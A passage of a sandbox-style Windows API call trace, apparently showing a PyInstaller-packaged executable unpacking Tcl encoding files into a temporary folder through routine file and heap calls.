lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.114] GetFileType (hFile=0x10c) returned 0x1 [0036.114] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.114] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.114] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.114] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.114] CloseHandle (hObject=0x10c) returned 1 [0036.115] GetLastError () returned 0x0 [0036.115] SetLastError (dwErrCode=0x0) [0036.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.115] GetFileType (hFile=0x10c) returned 0x1 [0036.115] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.115] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.115] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.115] CloseHandle (hObject=0x10c) returned 1 [0036.115] GetLastError () returned 0x0 [0036.115] SetLastError (dwErrCode=0x0) [0036.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc") returned 68 [0036.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp866.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.115] GetLastError () returned 0x2 [0036.115] SetLastError (dwErrCode=0x2) [0036.115] GetLastError () returned 0x2 [0036.115] SetLastError (dwErrCode=0x2) [0036.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc", lpFilePart=0x0) returned 0x43 [0036.115] GetLastError () returned 0x2 [0036.115] SetLastError (dwErrCode=0x2) [0036.116] GetLastError () returned 0x2 [0036.116] SetLastError (dwErrCode=0x2) [0036.116] GetLastError () returned 0x2 [0036.116] SetLastError (dwErrCode=0x2) [0036.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc") returned 68 [0036.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp866.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp866.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.116] GetFileType (hFile=0x10c) returned 0x1 [0036.116] htonl (hostlong=0x42040000) returned 0x442 [0036.116] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.116] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.118] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.118] CloseHandle (hObject=0x10c) returned 1 [0036.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.119] htonl (hostlong=0x30000000) returned 0x30 [0036.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.119] GetFileType (hFile=0x10c) returned 0x1 [0036.119] htonl (hostlong=0x1d7a5100) returned 0x517a1d [0036.119] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x562a1d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.119] htonl (hostlong=0x14020000) returned 0x214 [0036.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x214) returned 0x550600 [0036.119] htonl (hostlong=0x14020000) returned 0x214 [0036.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.119] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.119] htonl (hostlong=0x42040000) returned 0x442 [0036.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.119] htonl (hostlong=0x14020000) returned 0x214 [0036.119] htonl (hostlong=0x42040000) returned 0x442 [0036.119] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.119] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.119] CloseHandle (hObject=0x10c) returned 1 [0036.119] GetLastError () returned 0x0 [0036.120] SetLastError (dwErrCode=0x0) [0036.120] GetLastError () returned 0x0 [0036.120] SetLastError (dwErrCode=0x0) [0036.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.120] GetFileType (hFile=0x10c) returned 0x1 [0036.120] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.120] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.120] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.120] CloseHandle (hObject=0x10c) returned 1 [0036.120] GetLastError () returned 0x0 [0036.120] SetLastError (dwErrCode=0x0) [0036.120] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.120] GetFileType (hFile=0x10c) returned 0x1 [0036.120] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.120] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.120] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.120] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.121] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.121] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.121] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.121] CloseHandle (hObject=0x10c) returned 1 [0036.121] GetLastError () returned 0x0 [0036.121] SetLastError (dwErrCode=0x0) [0036.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc") returned 68 [0036.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp869.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.121] GetLastError () returned 0x2 [0036.121] SetLastError (dwErrCode=0x2) [0036.121] GetLastError () returned 0x2 [0036.121] SetLastError (dwErrCode=0x2) [0036.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc", lpFilePart=0x0) returned 0x43 [0036.121] GetLastError () returned 0x2 [0036.121] SetLastError (dwErrCode=0x2) [0036.121] GetLastError () returned 0x2 [0036.121] SetLastError (dwErrCode=0x2) [0036.121] GetLastError () returned 0x2 [0036.121] SetLastError (dwErrCode=0x2) [0036.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc") returned 68 [0036.121] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.121] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp869.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp869.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.122] GetFileType (hFile=0x10c) returned 0x1 [0036.122] htonl (hostlong=0x42040000) returned 0x442 [0036.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.122] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.123] CloseHandle (hObject=0x10c) returned 1 [0036.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.124] htonl (hostlong=0x30000000) returned 0x30 [0036.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.124] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.124] GetFileType (hFile=0x10c) returned 0x1 [0036.124] htonl (hostlong=0x317c5100) returned 0x517c31 [0036.124] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x562c31, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.124] htonl (hostlong=0x7020000) returned 0x207 [0036.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x207) returned 0x550600 [0036.124] htonl (hostlong=0x7020000) returned 0x207 [0036.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.124] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.124] htonl (hostlong=0x42040000) returned 0x442 [0036.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x550810 [0036.124] htonl (hostlong=0x7020000) returned 0x207 [0036.124] htonl (hostlong=0x42040000) returned 0x442 [0036.124] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.124] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.125] CloseHandle (hObject=0x10c) returned 1 [0036.125] GetLastError () returned 0x0 [0036.125] SetLastError (dwErrCode=0x0) [0036.125] GetLastError () returned 0x0 [0036.125] SetLastError (dwErrCode=0x0) [0036.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.125] GetFileType (hFile=0x10c) returned 0x1 [0036.125] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.125] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.125] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.125] CloseHandle (hObject=0x10c) returned 1 [0036.125] GetLastError () returned 0x0 [0036.125] SetLastError (dwErrCode=0x0) [0036.125] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.126] GetFileType (hFile=0x10c) returned 0x1 [0036.126] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.126] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.126] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.126] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.126] CloseHandle (hObject=0x10c) returned 1 [0036.126] GetLastError () returned 0x0 [0036.126] SetLastError (dwErrCode=0x0) [0036.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc") returned 68 [0036.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp874.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.126] GetLastError () returned 0x2 [0036.126] SetLastError (dwErrCode=0x2) [0036.126] GetLastError () returned 0x2 [0036.126] SetLastError (dwErrCode=0x2) [0036.127] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc", lpFilePart=0x0) returned 0x43 [0036.127] GetLastError () returned 0x2 [0036.127] SetLastError (dwErrCode=0x2) [0036.127] GetLastError () returned 0x2 [0036.127] SetLastError (dwErrCode=0x2) [0036.127] GetLastError () returned 0x2 [0036.127] SetLastError (dwErrCode=0x2) [0036.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc") returned 68 [0036.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 